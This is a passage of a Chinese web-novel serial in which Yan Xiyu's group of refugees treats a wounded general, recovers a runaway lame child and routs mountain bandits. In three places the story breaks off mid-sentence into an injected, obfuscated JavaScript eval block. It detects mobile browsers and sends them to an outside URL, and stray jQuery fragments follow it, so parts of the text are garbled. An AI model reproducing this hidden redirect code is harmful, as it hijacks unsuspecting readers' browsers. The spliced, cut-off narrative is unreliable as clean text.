“这位客人,你是看病还是抓药?”药馆的药徒在柜台内问他。 “抓药,”羿衍椋先是报出了佟瑰方让他买的药,然后从怀中掏出一张银票放在柜台上,“我身上有伤,你带我去找你们的郎中。” 那小徒拿起银票一看,立即带着人往里面的医廊走过去:“这位客人请走这边,我师父正在给人看病,你先进来稍等片刻。” 医廊其实就是挂着布帘子的格间,里面放着一张方桌子和两张圆凳。 “有劳,”羿衍椋道了声谢,坐下的时候,胸腹一阵又一阵的抽痛,令他额角瞬间冒出冷汗。 老郎中过来时,羿衍椋连嘴唇都已经没了血色。 一看他这样,老郎中立即开口问他:“这位客人,你伤在胸腹或后背?” 听小徒说这人是骑马过来的,就代表不是伤在腿脚,那只能是伤在胸腹或后背。 “伤在胸腹,是刀伤,”羿衍椋听见脚步声时,就已经收回了撑着桌子的手肘,他边说边解了胸前的衣衫,露出被血染红了的白纱布。 老郎中皱着眉上前解了布条一看,立即露出了难看的表情:“你这伤早就该换药了,为何拖到此时才来,伤口已经起了脓。”且他还是骑马过来的,在马背上颠簸着,只会让伤口更难愈合。 “先前一直在赶路,身边也没药,”纱布被从伤口扯开时,冷汗浸湿了羿衍椋后背的衣裳,但他仍然坐的笔直,“劳烦郎中帮我重新上药。” 老郎中摇摇头:“你这伤口已起了脓,要先用刀刮去毒脓方能上药。” 羿衍椋一个带兵打仗的武将,自然知道在人身上用刀尖生生刮去毒脓腐肉是怎么样的。 他面不改色地说:“那就劳烦郎中了。” 老郎中摇着头走了出去,再回来时,身后带来了他的徒弟和药童。 “你们且在这看着,为师教你们如何医治被利器伤到,伤口处理不当后起了毒脓的法子,”老郎中边说,边从打开了徒弟带过来的药匣,里面除了金银针,还有各种小刀。 那药童不过十一、二岁,见老郎中摆弄着那些锐利的小刀,脸色开始泛白。 老郎中的徒弟倒是大胆些,他看看那坐着的年轻男子,见他一副俊俏韵秀的样貌,忍不住开口问他:“这位客人,你可需要在嘴里咬块绢子?” 羿衍椋瞥了他一眼,冷声道:“不用。” 老郎中准备好了刮腐肉的小刀,药童很有眼力地先搬走了会挡人脚步的圆凳,又去扯了扯那垂下的布帘,免得被旁人看见这吓人的一幕。 羿衍椋咬紧了牙关,眼中只有那微微摆动着的布帘。 “呀!”燕惜妤忽然小声叫了一声。 “阿妹怎的了?”正在整理板车的罗采春连忙转头看她。 “这木头上有刺,”燕惜妤看了看自己被木刺扎到的手指。 “你当心些,”罗采春拧眉道,“你又何必做这个车棚子,拿蓑衣和斗笠给他挡着就是了。” 这两日燕惜妤手里不是拿着匕首就是砍刀,罗采春看见了心里有些惊怕,都说刀剑无眼,她怕燕惜妤伤到她自己。 因为要给阿谦治腿,佟瑰方说了不见淋雨。燕惜妤怕半道会下雨,于是和仲茂他们五人正在动手做两个板车的车顶棚。 车顶棚很容易做,只需要四根支柱,棚顶用竹子搭成架子,再在竹架上面铺层茅草就可以了。 “板车有了顶棚,我们路上如果遇到下雨也就不会被淋湿了,”燕惜妤笑着又拿起了砍刀。 “就是,到时你们坐板车上,我们几个戴着斗笠和穿着蓑衣在前头牵马,我们也不会被淋湿,”仲茂“哐哐”地劈着竹子。 “真是麻烦,”罗采春随口嘀咕了一鲤,“我们这一路就是这么走来的,平日赶路就够累的了,你还折腾这些,你快歇歇吧,省得累着了。” 阿谦他们三人就坐在旁边的草地上,因为要给板车做车顶棚需要在板车上量度,所以让他们在草地上玩耍。 小阿转和小玉彩都在看着放在一旁的莲花灯和风车,还时不时伸出手去轻轻碰一下。 只有阿谦低头坐着,他怀中抱着燕惜妤给他做的滚珠子木盒玩具,在听见罗采春说的话时,原本低着头的他,把头垂的更低了。 燕惜妤知道罗采春是在关心她,就笑着说:“三姐放宽心,这点小事累不着我。” 做两个板车顶棚,确实累不了人。而且又不是只有燕惜妤自己在动手,仲茂他们五人也都在帮忙。 两架板车也不大,撑顶棚的杆子也不用太,能遮风挡雨就足够了。 罗采春是刀子嘴豆腐心的人,见撑棚子的杆子已经立在了板车上,她就打算用茅草给棚子编几张挡雨的草帘子。 “我就知道,”燕惜妤笑着看罗采春,“我三姐总是要帮些忙才安心,你自己才是坐不住的人。” 罗采春愠嗔地瞥了她一眼:“你个姑娘家的,平日总是动刀动剑的,别把小娃娃带坏了。” 她说完,转头去看小玉彩,见她乖乖坐着,就笑着去看阿转和阿谦,结果这一看,发现阿谦不见了。 “阿谦呢?”她愣了一下,站起来绕着两架板车走了一圈,却没看见人。 “小阿谦?”燕惜妤也停下手里的动作,确实没看见阿谦,她四处看了看,不见阿谦的身影。 “呜啊啊,”小玉彩忽然伸手指着放东西的方向叫了两声。 那里堆放着从板车上搬下来的东西,燕惜妤走过来一看,发现之前罗采春缝给阿谦的那套衣服正叠在这里,衣服上还摆着燕惜妤给他做的滚珠子木盒。 “……他怎么把衣裳脱了?”罗采春惊讶出声,又去翻了翻一个小包裹,那是仨个小孩换下来的那些旧衣裳,已经洗好晾干,“他原先穿的那身破衣裳也不见了。” 燕惜妤忽然就知道阿谦为什么会找不到了,他这是偷偷离开了。 “仲五,”燕惜妤把仲五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14516286|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找来,让仲五带路去找阿谦,又对罗采春他们说,“三姐,等我把阿谦找回来,你们不要多看他,就当他出去小解回来了。” “哦哦,”罗采春点点头,仲茂默不吭声地继续去砍竹子搭棚顶。 燕惜妤随手拿起两把砍刀,递了一把给仲五,然后跟着仲五去找人。 盛樗容就坐在旁边的树下,他看见阿谦换回那身破旧的衣裳,又看见阿谦悄悄地向山林里爬去。他看见的时候,没想到阿谦会离开。 直到这时,他看见燕惜妤带着人出去找阿谦,他才知道阿谦是要离开。 等羿衍椋骑着马,带着买的各种药材和粮食回来时,一眼就发现少了燕惜妤的身影。 他把药材交给佟瑰方,又把粮食交给罗采春,最后由着玄归自己溜达到雪照的身边去吃草。 “七哥,伤口怎么样了?”盛樗容走过来问他,“郎中怎么说?” “不碍事,老郎中给配了药粉和药丸,要我每日给伤口撒药粉,再每日吃两枚药丸,过几日就会好,”羿衍椋边四处看边说,“燕姑娘呢?又去山里找什么了?” 看他虽然脸色苍白但心情尚好,盛樗容也松了口气:“燕姑娘去找阿谦了。” “阿谦?”羿衍椋这才看了眼小娃娃那边,确实没看见那个大一点的小孩,“谁带他出去的?” 那小孩一双腿都伤了,没人带他出去,难道他自己爬走的。 盛樗容叹一口气:“他自己走的。” 羿衍椋又去看那五兄弟,果然发现少了那个很有当斥候苗子的仲五。 盛樗容看他的脸色变了变,抿着嘴唇说:“我先前看他爬走,以为他只是出去一下,谁知燕姑娘却带人去寻他,我才知道他是离开了。” 羿衍椋沉默地站了会,然后走到树旁盘腿坐下。 盛樗容还以为他也会帮着找人,谁知他却坐下了。 “七哥不去帮着找?”盛樗容也坐在在羿衍椋身边。 羿衍椋笃定地说:“不用,她会将人带回来的。” 盛樗容微一挑眉,正要说话,却看见仲茂几人忽然停下了手里的动作,他转头看去,燕惜妤果然将阿谦找了回来。 燕惜妤一手拿着两把砍刀,一手拖着一根带有枝叶的树干,而仲五抱着阿谦跟在她身后。 “去和阿转和玉彩玩,你不在,都没人看着他们,”燕惜妤对仲五挥挥手,仲五就把阿谦放在俩小娃娃的身边,然后接过燕惜妤手里的树干走向仲茂他们。 其他人记着燕惜妤之前说过的话,都没去管刚被找回来的阿谦,阿谦刚开始还有些紧张,过了一会儿,见大家都没在意他,他就又默不吭声地将那滚珠子木盒拿在了手里。 其实燕惜妤一直悄悄地留意着他,见他在玩木盒,这才转身朝着树下坐着的俩人走来。 羿衍椋和盛樗容也一直在看着这边,见她走过来,俩人瞬间坐直了身体。 尤其是羿衍椋,他总觉得这姓燕的姑娘和旁人不同,但具体差别在何处,他又一时无法说清楚。 要说她不是大承人,她却对大承的百姓没表现出那种,其他域外蛮夷之人对大承百姓该有的厌恶和仇恨;要说她是大承人吧,她却姓燕。 56. 第56章 “阿七,”燕惜妤走到阿七旁边盘腿坐下,她原是想给对方银子,但一看他面无血色,顿时就忘记了银子的事,“你怎么出去一趟脸都白了,哪里不舒服?”队伍里有一个病恹恹的阿盛,燕惜妤就已经够担心的了。 盛樗容缓了这么多天,每次赶路前都看着好好的,但走了一段路之后,总是嘴唇泛白手脚冰凉,佟瑰方俩姐弟不用给他诊脉,只是看几眼,就能看出他是先天不足自娘胎带出来的弱症。 燕惜妤带着这些人赶路,那叫一个操碎心啊,既怕半路会碰见衙差来逮捕罗采春和佟瑰方俩姐弟,又怕阿盛倒在半道上,现在又多了三个小孩子,燕惜妤是真没想到她一人赶路到现在竟会形成了这么复杂的队伍。 “被马吓得,”羿衍椋将原因归咎在玄归的身上,反正马儿它又不能反驳。 燕惜妤想到仲茂几次想骑玄归和雪照都差点被踢飞,也就信了。 “玄归确实是暴烈了些,”燕惜妤对他说,“你平日要和它多些接触,牵着它去喝水和吃草,应该就会好些。” 盛樗容在一旁听着在心里直偷乐。 玄归跟着羿少将军在战场上冲锋陷阵、出生入死无数次,早就和七哥有了超越常人的默契,七哥也就欺负玄归听不懂人话,否则指不定要过来呸七哥一口。 “好,我是该和玄归多熟悉熟悉,”羿衍椋认同地点头,然后他像是不经意地问,“不知燕姑娘过来寻我和阿盛所为何事?” “啊对,我差点忘了,”燕惜妤说着,悄悄去斜了一眼阿谦的方向,然后压低声音说,“阿谦可能是怕拖累我们,所以他想自己跑回山里去,仲五是能把他再找回来,但我怕他将事都压在心里,所以想让你去和他谈谈。” 羿衍椋一怔,他看看身边的盛樗容,忍不住问:“燕姑娘是让我去和他谈?”这种事,难道不该是盛樗容这种文人去做更好吗? “就是你去啊,”燕惜妤奇怪地看了他一眼,“是你先在野草丛里找到的小娃娃,这事因你而起,难道你想袖手旁观?” “那倒不是,”羿衍椋猜燕惜妤估计忘记了盛樗容是文人这件事,于是好心提醒她,“阿盛是文人,他或许比我更合适。” 燕惜妤看了看阿盛,摇摇说:“阿盛不合适。” “为何他不合适?”羿衍椋反问。 盛樗容也想听听为什么他不合适去劝说小孩儿,其实以他的才学,劝人听话是轻而易举的事。 “阿盛身体有点……虚弱,”燕惜妤避开了阿盛的目光,“阿谦他腿伤着,阿盛去了只会让他觉得同病相怜,但阿七你不同,你身体好着呢,还能骑着暴烈的马,阿谦他需要的是激励。” “……”被说身体好着呢的羿衍椋。他刚刚才在城中的药馆里被老郎中生生用尖刀刮去了身上的血肉。 “这事就这么说定了,你待会儿去和阿谦说说话,”燕惜妤将压力给移到阿七身上,她自己顿时觉得轻松了很多。 羿衍椋目瞪口呆地看着她离开,而盛樗容却是忍着笑开口:“七哥,别的不说,燕姑娘的眼光还是挺准的。” 看出他身体羸弱,也看出他七哥身体矫健。 羿衍椋沉默了一会儿,最后只能看着燕惜妤的背影无奈地摇头轻笑。 燕惜妤这时正在和佟瑰方说话。 “佟姑娘,阿七买回来的药材是你需要的吗?” “是,”佟瑰方边说边手上不停地在处理药材。这些药材有些是煎汤内服,有些是熬煮外敷,各种药效不同,需要一一分开。 “那就好,阿谦的腿总算是保住了,”燕惜妤松了口气。她将小孩带在身边,自然希望他们都好好的。 “燕姑娘……”佟瑰方整理药材的手停了下来,“城镇上有朝廷开设收容孤儿的善堂和育婴堂,你……” “我知道,”燕惜妤虽然不是大承人,但还是知道朝廷会有这些福利机构的,“你是想问我为什么不把仨小孩送过去吗?” “嗯,”佟瑰方点点头,她和她阿弟是从知县府中逃出来的,心里只想低调做人,宁愿多一事不如少一事。 “阿谦的腿如果没受伤,我会让他自己选择,”燕惜妤说,“小孩也和大人一样,是有自己的小团体的,阿谦的腿伤着,别的小孩如果欺负他,他连还手都做不到,他什么错都没有,凭什么让别人欺负他。等他的腿伤好了,他要离开,我不拦他。” 佟瑰方沉默地听完,最后喃喃道:“原来是这样啊,那我一定要治好他的腿。” “辛苦你了,”燕惜妤对她道了谢,转身走开。 她一走开,佟槿方立即就走了过来,他问佟瑰方:“阿姐,你和她说了那仨小孩身上穿的衣裳料子的事了吗?她什么时候把仨小孩送去善堂?” 他和阿姐为那仨小孩擦洗身体时,阿姐留意到他们身上所穿的衣裳料子竟然是织银云锦。 大承最昂贵的衣料之一是织金云锦。织金云锦是在最轻薄的羽绸上用纯金丝织出各种祥瑞花纹,花满地少,只为突显出织金云锦的昂贵。 而织银云锦则是把纯金丝换成了纯银丝,同样只有高门大族才会拿来缝制衣赏。 初时他刚给仨小孩解下其身上那层层叠叠的衣裳时,还在心里嘀咕着这仨小脏娃也不知从哪里捡来的这些破衣裳,后来他阿姐将那些衣赏清洗晾干之后,才发现每个小娃娃身上虽然是层层叠叠套着好几身衣裳,但其实几件加起来都没有一件葛麻粗布衫厚。 细看才发现小娃娃身上的衣裳料子竟然是昂贵而又少有的透了银丝花纹的羽绸。羽绸是丝绸中最薄最软的真丝绸,既不耐穿,又容易撕坏,但却也是最贵,穿着最舒适的。 普通人家买不起,商户人家买来缝制里衣,只有贵戚权门的人家才会舍得拿来给小孩子缝制衣赏。 而燕惜妤捡来的这仨小孩,每人身上都套着好几层的织银云绵,这些丝绸在普通的布庄根本就买不到,但却穿在了从山里捡来的小孩身上,观那衣裳的尺寸,一看就知道是小孩子穿的,这就证明那些衣裳原来就是穿在这仨小孩身上的,而不是小孩捡来的。 这也间接证实了,这仨小孩的身份来历非比寻常! 佟槿方心里那个急啊,他觉得燕惜妤把这捡来的仨小孩带在身边,日后怕是会招惹来大麻烦的。 佟瑰方摇了摇头:“我没同她说衣裳料子的事,她说了要等把阿谦的伤腿治好再说。” “治、治好腿?那要多久?”佟槿方怔了怔,立即就有点心慌,“这就是三个烫手山芋,她倒是真敢什么都往自己身边带!” “她要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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仲茂他们虽然穿的破旧,人也不魁梧,但他们正值壮年,又常年劳作,膀胱的腱子肉那也是结结实实的,再者这段时间一天天的在日头下赶路,一个个皮肤晒得乌亮,五人就这么站在人跟前的时候,看着确实不像是什么好人。 “……我们带着小孩就会好些吗?”罗采春忍不住问,“衙差就不会怀疑我们吗?” “要是没有阿谦他们,单只我们这些人,衙差肯定会怀疑我们,但我们要是带着他们,那我们这行人里,就是有了女子和小孩。既然有女子和小孩,那有男人也就合理了,”燕惜妤给她分析清楚事情的可能性,“小孩和老人还是女子都是弱者,我们这些人里,现在小孩和女子加起来和男人一样多,那就形成了一个平衡,在外人看来就是普通的灾民,如果没有小孩,而男人多女子少,那别人是会用异样的眼光看我们的。” 罗采春听得一愣一愣的:“……好像是这么回事,那我们是不是还差一个老人?” 燕惜妤摇头说:“有小孩子带着也行,三姐你放心,我会带着你们在乌州落户安居的。” 都已经千辛万苦走了这么远的路了,等到了乌州,如果衙门拒绝他们这些人落户…… 燕惜妤缓缓垂下了眼帘。 57. 第57章 有了药材,佟瑰方开始为阿谦病治伤腿。 阿谦坐在板车上,伤腿上敷着厚厚的药膏,阿转和玉彩坐在他的旁边,不吵也不闹。 两架板车都已经立上顶棚,棚上是还泛着青的茅草,棚子四周也挂上了茅草帘,白天里日头猛烈的时候,罗采春就会把卷上去的草帘放下来,这样既能挡风也能遮光线。 罗采春编织好草帘子之后,又开始用竹篾给大家伙编织箬帽,可能是因为怕大家在这一路晒的太黑了,怕个个都像仲茂他们五兄弟似的,黑的让人觉得是坏人。 燕惜妤不知道她自己戴着箬帽是什么样子的,但她看着阿七和阿盛,觉得戴着箬帽特别有侠客风范。 尤其是阿七,一顶箬帽戴在他头上,然后只顺便往那一站,略微低垂着头,只露出下颌,根本不用看到全脸,就能被他这个人吸引了视线。 阿盛也有类似的感觉,但他总是时不时咳几声,刚觉得他是侠客,就咳成了病秧子。 但就算是这样,他依然靠着一身文人风骨让佟槿方对另眼相看。 “槿方,你最近总和阿盛走在一起啊,”歇息的时候,燕惜妤端着陶钵问佟槿方,“你俩什么时候成兄弟了?” “阿盛大哥学识渊博,我有不懂的都会请教他,”佟槿方有些羞然地说,“我当了十年乞丐,少时先生教的全都忘了。”他四岁启蒙,只学了两年字,就被逼离了家。 燕惜妤盯着他:“你那什么秘诀上的字,你能看懂的吧?”燕惜妤还等着他给扎银针治病呢。 “……那秘诀是我祖父一字一句念给我听的,我全记住了,而且我识字,”佟槿方瞥着她,“你大可放心,我向阿盛大哥请教的不是认字。”他只是不懂的如何作文章而已,字还是识得的。 “那就好,”燕惜妤喝了口粥水,然后又问他,“那你为什么只向阿盛请教,阿七也识字吧。” 阿盛那病恹恹的样子,多说几句话都要咳上几声的样子,也没谁会忍心打扰他歇息。 佟槿方听了,往树下坐着的阿七看了一眼,然后抿着嘴唇小声说:“阿七大哥他……看着懈弛了些,我不便打扰他。” 他虽然没明说,但燕惜妤听出了他的言外之意,有些好笑地扬了扬眉。 阿七那人吧,是比旁人多些癖好,不仅爱干净,还有些懈惰。明明阿盛才是那个身体羸弱的人,但阿七比阿盛更不愿意动弹。 如果他没有说过他是猎户,燕惜妤只会猜他是那些日日只会和纨绔子弟流连于歌楼舞榭,是个骄恣游惰的富家公子。 不过和他们俩人也只是同行这一段路而已,等到了乌州,和他们就会分道扬镳,他们是猎户渔夫,亦或是公子文人,都和她没关系。 过了麀州,再过去就是平县。或许是离大承最远的边地越来越近,官道上能遇见的人也越来越少。隔好些天,才会看见商队拉着货物往回赶。 “这些商队去边地做什么营生?”罗采春看着远去的商队问燕惜妤。 燕惜妤也不清楚,她自从来了大承就一直在赶路,于是只能去问阿盛。 阿盛不亏是文人,他还真是知道:“乌州与大漠交界,乌州这边是大承,那边是各游牧民组成的夷狄族。夷狄虽然不稼不穑,但他们有有骆驼有毛牛,还有马匹和羊,最重要的是,他们有玉石。” 燕惜妤想了想,大概猜出了商队冒险来边地的原因:“大承商队用东西和夷狄人交换皮毛和玉石?” “对,夷狄人早前需要我们的瓷器和布匹,还有各种食材,而近几年他们还需要药材和纸张,凡是他们没有的都需要,”盛樗容露出不屑又厌恶的眼神。 燕惜妤看看他,想问问“近几年”是什么意思,但看他一副不愿提起夷狄人的表情,于是改去问佟瑰方。 佟瑰方在知县府待了十年,很多事她也是了解的。 “大承和夷狄人打了几十年仗,后来被我们大承的羿大将军带兵捣了他们的老巢,他们这才投降不再年年侵袭我们大承边地的百姓,近几年他们之中甚至还有人开始和大承的商人做起了交易。” 燕惜妤皱着眉开始考虑她带着人去了乌州之后,该要怎样才能生存下去。 如果能落户在乌州,那必然是有田地分到个人的,种田就要交税。 但如果不种田,她又该怎样才能让大家填饱肚子呢。 这个问题燕惜妤想了整整两日,都想不出解决的方法。 毕竟她现在还未去到乌州,没见过乌州具体的情况,无办法提前想出对策。 算了,走一步算一步吧。 燕惜妤坐在板车上赶着马,暂时放下了考虑的事情。 脚下这段路是绕着山边走的,很窄,还有些崎岖,而且一边是倾斜的峭壁,一边是望不到底的山崖。 阿七和阿盛去过乌州,所以他和阿盛走在前头带路。 他们的那两匹马,玄归和雪照跟在他们身后。 接着是燕惜妤赶着躺有阿谦的板车,阿谦的腿这几天是关键时刻,不能移动,所以他只能躺在板车上。 然后是仲茂和仲二一左一右牵着另一匹拉着板车的马跟在后面。 最后面就是分别抱着阿转和玉彩的仲三和仲四,还有其他几人。 走在半山腰上,耳边是呼呼作响的山风,人要是不贴山壁走着,总感觉会被山风卷着坠落深谷。 就在这时,忽然传来了叫喊声! “什么声音?”牵着马的仲茂伸长脖子前后看着,“打哪儿传来的?在前头还是在后头?” “在前面,”燕惜妤回了他一句,然后喊在前方带路的俩人,“阿七阿盛,先停下。”她听见了刀剑相击的打斗声,什么人敢在山边小道上打架,这也太不要命了。 羿衍椋顺着声音看着前面,忽然翻身跃上了马背:“燕姑娘,我过去探探路。”话才刚说完,玄归已经驮着他迈开蹄子跑了。 “……你小心点,”燕惜妤只能对着玄归的马尾巴叮嘱了一句。 阿七现在这模样,像极了既怕事又爱惹事的富家纨绔子弟。还是阿盛这个文人好些,这时靠山壁安静地站着,完全不好奇前面正在发生的事。 “燕姑娘,前头是不是有山匪劫道?”仲茂这时悄悄地凑了过来。 “劫道?在这?”燕惜妤反问他,“山匪不怕他们自己人摔下悬崖?” “亡命之徒哪会怕这个!”仲茂撇着嘴地说,“谁掉下去谁活该,指不定抢了货物回去,山匪还会暗捅同伙几刀,然后抢走对方手里分到的那份赃物。” “你怎么会清楚这些?”燕惜妤看着他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14544028|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仲茂吱吱唔唔地说:“好奇就去打听了一下。”可能是心中有鬼,他眼神飘忽地左右看,忽然一抬手指着前面喊道,“阿七回来了!” 燕惜妤侧过身来一看,果然是阿七骑着马正向这边奔来,在他身后还跟着好几个手执刀剑的高大壮汉。 嗯? 燕惜妤缓缓站了起来。 盛樗容也有些奇怪地向前走了几步。他不认为羿衍椋会打不过那几个山匪,但偏偏羿衍椋把那些山匪往这边引了过来。 这边有女子有小孩还有伤员,按照羿衍椋的严谨为人,他是不会将山匪引过来的。因为那些山匪一旦冲过来,那这边的人将会遭受到严重的伤害。 盛樗容将手伸向了马鞍,在马鞍的内部藏着他惯用的短剑。 不过他的指尖才刚碰触到短剑的剑柄,原本在他身后板车上的燕惜妤倏地就出现在他的前方。 盛樗容动作一顿,难以置信地看着燕惜妤的背影:她是如何过去的? 羿衍椋骑着马边转头看向身后边大声喊:“燕姑娘,这些山匪要抢我的马!” 结果话音刚落,他的眼前一花,有道身影和他的马擦身而过。 羿衍椋刚转回来的头又猛地转了回去! 燕惜妤不知什么时候已经迎上了那些手执刀剑的山匪,她明明是赤手空拳,但每踏出一步,那些想近她身的山匪却一个接一个无声无息地接连倒下。 “……这女子!!!”后面的山匪很显然是怕了,连忙转身往回跑,“快回去告知三当家!” “哗啦”一下,剩下的山匪一眨眼全跑光了。 羿衍椋呆愣地看着燕惜妤的背影。 “七哥,”盛樗容走近他身边轻声问,“你方才怎么把山匪带过来了?” 羿衍椋张了张嘴:“我无法确定她的武功招数,就想借着山匪劫道的时机来试探出她的师门来历。” 民间大部分懂些拳脚功夫的江湖人士都是出身小门小户,因为没有经过正统的师门传授,所以他们的功夫并不高。 而像燕惜妤这样身手了得的人,定然是来自有世代传承的庞大宗门,说不定她的师门老祖就是江湖中某大门派的开山宗师。 羿衍椋是这样想的,盛樗容觉得他这个想法也没有问题。因为各门各派的武功都是不同的,凡是习武之人,都能分辨出大多数武林门派的功夫招数。 盛樗容问:“那七哥你看出来了没有?”以他七哥纵横战场多年,应该一眼就能看出。 羿衍椋却是短促地笑了一下,笑声中充满了自嘲:“没看出来啊。” 太快了! 燕惜妤的身手太快了,他根本就无法捕捉到对方拳脚的动作! “……连你也看不出来?”盛樗容吃了一惊,“这世上有哪一门派的武功是她这样的?” 羿衍椋没说话,只是看着燕惜妤的背影有些微微愣神。 前面的打斗声还在继续,如果被山匪劫道得手,说不定就会奔着这边过来。 “仲茂,你守着这里,”燕惜妤回头说了一句,然后她的人影一闪,已经消失在原地。 羿衍椋猛地回过神来,骑着马又冲了出去。 “……阿七也跟过去?”仲茂冷哼一了声,“方才就是他将山匪带过来的,只会拖后腿的家伙!” 58. 第58章 只会拖后腿的羿衍椋骑马赶过来的时候,正好看见燕惜妤赤手空拳把一名山匪抛下了悬崖。 惊恐的叫声响彻在耳边,燕惜妤的出现,令所有的山匪都心神剧震—— 这是哪里跑出来的煞神?! “……女侠,有话好说!”鬼山寨的三当家握着刀的手在颤抖。 这忽然出现的煞神把他半数的兄弟都给打倒在地,剩下的又给像扔石子似的轻飘飘报全给抛下了悬崖,此时他的身边只剩下三五个手下,这趟出来劫道,他带的人差不多全被灭了,他回去该如何向大当家交代! “我不和你说,你去和被你劫道的人说吧,”燕惜妤伸手指了指他的身后。 三当家一回头,被他劫道的商队请来当护卫的镖师个个眼露凶光地盯着他。 他一咬牙,握着大刀纵身跃下了悬崖,他的那几个手下没来得及跑,被镖师围住了,惨叫声随即响起。 燕惜妤转身慢慢走过来,双眼看着骑在马上的阿七:“你下来。” 羿衍椋心中一跳,莫名的,他察觉出了眼前之人在生气。 他翻身下马,站在燕惜妤身侧轻声说:“燕姑娘。” “你把山匪引到我那边去,”燕惜妤语气很平静地问他,“你想做什么?” “……抱歉,”羿衍椋只能认错,他正在想着该如何才能将事情圆满地隐瞒过去,却没想到燕惜妤的下一句话却将他定在原地。 “再有下一次,我杀了你,”燕惜妤说杀他的时候,就和杀那些山匪似的,没有任何情感。 羿衍椋和她相处了这些日子,见惯了她温和的样子,一时有点难以接受。 “……我……”他觉得自己该解释一下,他想说虽然他把山匪引了过去,但如果燕惜妤不出手的话,他一人就能杀死那些山匪。 燕惜妤的视线却在他胸腹的位置上扫了一眼,忽然说:“你身上的伤好些了吧?从渡船上一直捂到前几日,你进城的时候顺便换了药吧?” “你……知道?”羿衍椋错愕地抬眸看她,“你一直都知道我身上有伤?” “知道,虽然你表面看着没什么问题,走路也挺直着腰,又有走三步咳四声的阿盛衬托着你,不过我闻到了你身上的血腥味,”燕惜妤似笑非笑地看着他,“你和阿盛平日总是刻意地远着我们这些人,不和我们坐在一起,但我也会找到借口过去和你说几句,次数多了自然能确定你身上有伤。” 羿衍椋看着她,忽然问:“燕姑娘还猜出了什么?” “玄归和雪照是你们俩人的马吧,”燕惜妤歪了歪头,“你们可把仲茂骗惨了。” 她从仲茂手上抢马的时候,当时就听见仲茂说喂了那匹马足足半年,这才能把马偷牵出来。动物也是认人的,如果不是熟悉的人,那两匹烈马绝不会乖乖跟着这俩人走。 “燕姑娘既然猜出是我们自己的马,又为何还要让我多牵玄归去吃草?”盛樗容听见燕惜妤说这些话,还悄悄地和他说燕姑娘被他俩骗了。 “我那是说给仲茂听的,他自认为是养马的老手,见你们能靠近马,他不信邪也总是想靠近,我怕他被马踢死,才故意说给他听,让他慢慢来不要急。”燕惜妤每次看仲茂去靠近玄归和雪照就心惊胆战,总怕他会被马一蹄子踢飞。 羿衍椋沉默了一霎,表情认真地看着燕惜妤:“燕姑娘也猜出了我和阿盛不是猎户和渔夫?” “你俩是不是猎户和渔夫,这点对我来说不重要,”燕惜妤意有所指地说,“我不问你们的身份,你们也不要猜测我们的来历,我们一同平平安安地走过这段路,等到了乌州,我们就分道扬镳。” 羿衍椋又沉默,最后忍不住说:“既然燕姑娘知道我和阿盛一直在骗你,你为何还要与我们同路?” 燕惜妤对他露齿一笑:“你想知道啊?那你也猜猜看吧。” 羿衍椋顿时愣在了原地。 “这些人交给你,别让他们来打扰我的人,”燕惜妤说完,侧身越过他,下一霎人已经回到了板车旁边。 盛樗容刚从震惊中回过神来,看见她又凭空出现,整个人又陷入了惊骇中。 “佟槿方,”燕惜妤头也没回地掀开挂在板车外面的草帘子,“东西拿来。” “什么……”佟槿方一时没能反应过来,但当他看见罗姑娘扶着燕惜妤时,他忽然就醒悟过来,燕惜妤在叫他拿银针。 她又要断气了?!! 佟槿方一时之间竟然有点不知所措,他茫然地站着,直到看见他阿姐过去抱出了他那破旧的药匣子,他这才回过神来,慌乱着向燕惜妤跑来。 而燕惜妤被罗采春扶着,只来得及说出一句话:“三姐,别让阿七和阿盛看见我。” 罗采春刚想点头,却觉得扶着的人猛地一沉直往下坠,她差点儿没能扶住。 当佟槿方和佟瑰方掀开帘子时,罗采春正小心翼翼地将燕惜妤放在板车上,旁边还坐着一个双腿上敷着药膏的阿谦,和俩个睁着大眼睛的小娃娃。 “……她……”佟槿方张了张嘴,下意识没说出“又断气”这几个句,只能沉默地伸出手探向燕惜妤的颈侧。 没了脉搏,果然又是断气了。 他望着自家阿姐怀里抱着的药匣,那里面有他阿姐特地为燕惜妤制的银针。 如果燕惜妤还没断气,他就要给她用银针扎穴位了,但她此时已经断了气,就无法再扎银针了。 佟槿方想到这,内心竟然莫名其妙地松了口气。 如果燕惜妤自己断气再也没法醒来,那……和他无关。 但如果是他扎了银针之后再也醒不来…… 他这辈子怕是要永远永远活在愧疚之中。 佟槿方缩回手,神情有些恍惚地想转身走开,罗采春却一把抓住了他的手。 “我阿妹方才让你拿什么东西过来?”罗采春盯着他,脸色很难看。 她的阿妹又断气了,她不知道该怪谁。怪那些山匪?还是怪身边的这些人? 明明有这么多人,为什么只让她阿妹出去。 可是她也知道,身边的这些人和她一样,面对着凶残的山匪只有死路一条。 “……等她醒来再说,”佟槿方想说迟了,银针拿来也已经没用了,但他不敢说出来,只能搪塞过去。 